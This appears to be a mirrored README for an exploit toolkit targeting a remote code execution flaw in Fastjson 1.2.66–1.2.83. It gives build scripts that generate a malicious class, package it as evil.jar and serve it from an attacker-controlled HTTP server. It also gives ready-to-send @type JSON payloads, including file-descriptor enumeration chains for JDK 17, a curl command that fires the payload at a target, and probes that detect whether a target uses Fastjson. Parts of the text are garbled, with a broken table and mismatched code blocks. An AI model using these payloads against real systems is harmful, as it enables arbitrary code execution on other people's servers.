Exploit for FastJson-JsonType-RCE

## https://sploitus.com/exploit?id=B59A0A62-33F5-5985-8EAC-40F89618E6CD
# Fastjson @JSONType RCE Exploit Toolkit

**⚠️ Only for authorized internal red-team testing purposes. Using it without authorization is illegal.**

## Vulnerability Overview

| Item | Description |
|-----|-------------|
| **Discovery Date** | July 20, 2026 |
| **Affected Versions** | Fastjson **1.2.66 ~ 1.2.83** |
| **Vulnerability Type** | Remote code execution (RCE) |
| **Key Characteristics** | No need to enable AutoType; DTO binding is not a mitigation measure |
| **Attacker Conditions** | The target must have access to the attacker’s HTTP service |

### Vulnerability Mechanism (Simplified)

When Fastjson processes `@type` values, `ParserConfig.checkAutoType` does something unexpected:

```
loader.getResourceAsStream(typeName.replace('.', '/') + ".class")
```

It replaces the dot in `@type` with a slash and loads the class resource as a normal class file. If the URL starts with `jar:http://`, a remote HTTP request is triggered, allowing the target server to download the attacker’s JAR file. The attack occurs in two steps:

| Step | JDK Version | Attack Method |
|-----|-------------|-------------|
| **Direct Class Loading** | JDK ② then loads `jar:file:/proc/self/fd/15!` from the cached JAR file to load the malicious class |

**Key Points:** The malicious class must have the `@JSONType` annotation, and its internal name must match the `@type` value. These two conditions are automatically handled by the ASM bytecode generator in `Gen.java`. ### References

- Original Disclosure: Kirill Firsov (@k_firsov), July 2026
- Public PoC: https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC
- This experiment environment: https://github.com/dinosn/fastjson-jsontype-rce-lab

---

## File Descriptions

| File | Purpose |
|-----|-------------|
| `Gen.java` | ASM bytecode generator — Creates malicious classes with `@JSONType` annotations |
| `AttackerServer.java` | HTTP server — Provides the malicious JAR file for the target to download |
| `generate_payload.py` | Payload generator — Generates `@type` payloads for various scenarios |
| `build.ps1` | Windows one-click build script |
| `build.sh` | Linux/Mac one-click build script |

---

## Quick Start

### Step 1: Download the ASM library (only once)

`Gen.java` relies on the ASM library to generate bytecode. Download it from Maven Central:

```bash
# Download ASM 9.7.1
curl -sL -o asm-9.7.1.jar \
  https://repo1.maven.org/maven2/org/ow2/asm/asm/9.7.1/asm-9.7.1.jar
```

Or let the build script download it automatically (see Step 2). ### Step 2: One-Click Build (Recommended)

**Windows (PowerShell):**
```powershell
cd fastjson-exploit

# Basic usage: Compile, generate malicious classes, package the JAR, and start the server
.\build.ps1 -Host 192.168.1.100 -Cmd "id > /tmp/pwned"

# Specify port and custom commands
.\build.ps1 -Host 10.0.0.5 -Port 8888 -Cmd "calc.exe"

# Just generate the payloads without starting the server (for debugging)
.\build.ps1 -Host 192.168.1.100 -Cmd "whoami > C:\temp\out.txt" -SkipServer
```

**Linux/Mac:**
```bash
chmod +x build.sh

# Basic usage
./build.sh --host 192.168.1.100 --cmd "id > /tmp/pwned"

# Specify a custom port
./build.sh --host 10.0.0.5 --port 8888 --cmd "calc.exe"

# Just generate the payloads without starting the server
./build.sh --host 192.168.1.100 --cmd "id > /tmp/pwned" --skip-server
```

`build.ps1` / `build.sh` will automatically perform the following operations:
1. ✅ Automatically download the ASM library
2. ✅ Compile `Gen.java` and `AttackerServer.java`
3. ✅ Generate malicious class files using `Gen.java` (with embedded execution commands)
4. ✅ Package them into a JAR file `evil.jar`
5. ✅ Start an HTTP service to provide the JAR file for download

### Step 3: Generate the Payload

```bash
python generate_payload.py --host 192.168.1.100 --cmd "id > /tmp/pwned"
```

Output example:

```
Payload [1] JDK8_DirectClass  
Applicable to commands in the JDK.  
```

```json
{"@type":"jar:http:..192.168.1.100:8000.probe!.POC","x":1}
```

### Payload 2: DTO Binding Scenario  
When the target uses `JSON.parseObject(body, Dto.class)` and the DTO has a `List` field:

```json
{"list":[{"@type":"jar:http:..192.168.1.100:8000.probe!.POC","x":1}]}
```

**Note:** Type constraints for DTO binding are applied after class loading. This cannot prevent RCE.  

### Payload 3: JDK 17 FD Continuation Chain (Full Version)  
For **JDK 17+ / Linux / Spring Boot LaunchedURLClassLoader**. Two-phase process:  

**Phase 1 – Seed Request**: The target downloads the JAR, with the JDK cached in a temporary file (e.g., `/proc/self/fd/15`).  

```json
{"@type":"jar:http:..192.168.1.100:8000.probe!.Seed","x":1}
```

**Phase 2 – FD Detection**: In the same request array, enumerate FD numbers:  

```json
[
  {"@type":"jar:http:..192.168.1.100:8000.probe!.Seed","x":1},
  {"@type":"jar:file:.proc.self.fd.15!.fd15.Exception","x":1},
  {"@type":"jar:file:.proc.self.fd.16!.fd16.Exception","x":1},
  {"@type":"jar:file:.proc.self.fd.17!.fd17.Exception","x":1},
  ... ]
```

**Role of the `Exception` suffix**: When Fastjson 1.2.83 detects a class name ending with `Exception` or `Error`, it will fail gracefully instead of throwing a `JSONException("autoType is not supported")`. This ensures that the attack chain continues successfully.  

### Payload 4: JDK 17 FD Continuation Chain (Separate Requests Version)  
The seed and FD detection are sent in two separate requests:  

```
First request: {"@type":"jar:http:..192.168.1.100:8000.probe!.Seed","x":1}
Second requests: [{"@type":"jar:file:.proc.self.fd.15!.fd15.Exception","x":1}, ...]
```

### Payload 5: Various Target Access Methods  
| Scenario | Payload Type |
|--------|-------------|
| HTTP POST JSON API | `Content-Type: application/json` body |
| WebSocket | JSON-formatted WebSocket messages |
| Request Headers | `User-Agent: {"@type":"jar:..."}` |
| Message Queues | JSON-serialized message bodies |
| Log Parsing | JSON payloads embedded in log files |

---

## Manual Steps (No One-Click Scripts Required)  
If you don’t want to use one-click scripts, you can proceed manually:  

```bash
# 1. Set variables
HOST=192.168.1.100
PORT=8000
CMD="id > /tmp/pwned"
ENTRY=POC

# 2. Compile Java files
javac -cp asm-9.7.1.jar -d . Gen.java AttackerServer.java

# 3. Generate malicious classes (Note: The internal class names are complete jar:http URLs)
java -cp ".:asm-9.7.1.jar" Gen \
  "jar:http://${HOST}:${PORT}/probe!${ENTRY}" \
  "${ENTRY}.class" \
  "${CMD}"

# 4. Package into a JAR file
jar cf evil.jar ${ENTRY}.class

# 5. Start the HTTP service
java -cp . AttackerServer ${PORT} evil.jar

# 6. Another terminal: Generate the payload
python generate_payload.py --host ${HOST} --port ${PORT} --cmd "${CMD}"
```

# 7. Send the payload
curl -X POST http://target/api \
  -H 'Content-Type: application/json' \
  -d '{"@type":"jar:http:..${HOST}:${PORT}.probe!.'${ENTRY}'','x':1}'
```

---

## Detecting Whether the Target Uses Fastjson  
Before launching an actual attack, confirm whether the target uses Fastjson using harmless detection:  

**Method 1 – DNS Outage Detection:**  
```json
{"@type":"java.net.InetAddress","val":"http://YOUR_DNSLOG_SERVER"}
```

**Method 2 – Error Detection:**  
```json
```

{"@type":"com.xxx.xxx.NonExistentClass","x":1}

[source-iocs-preserved url=http://`]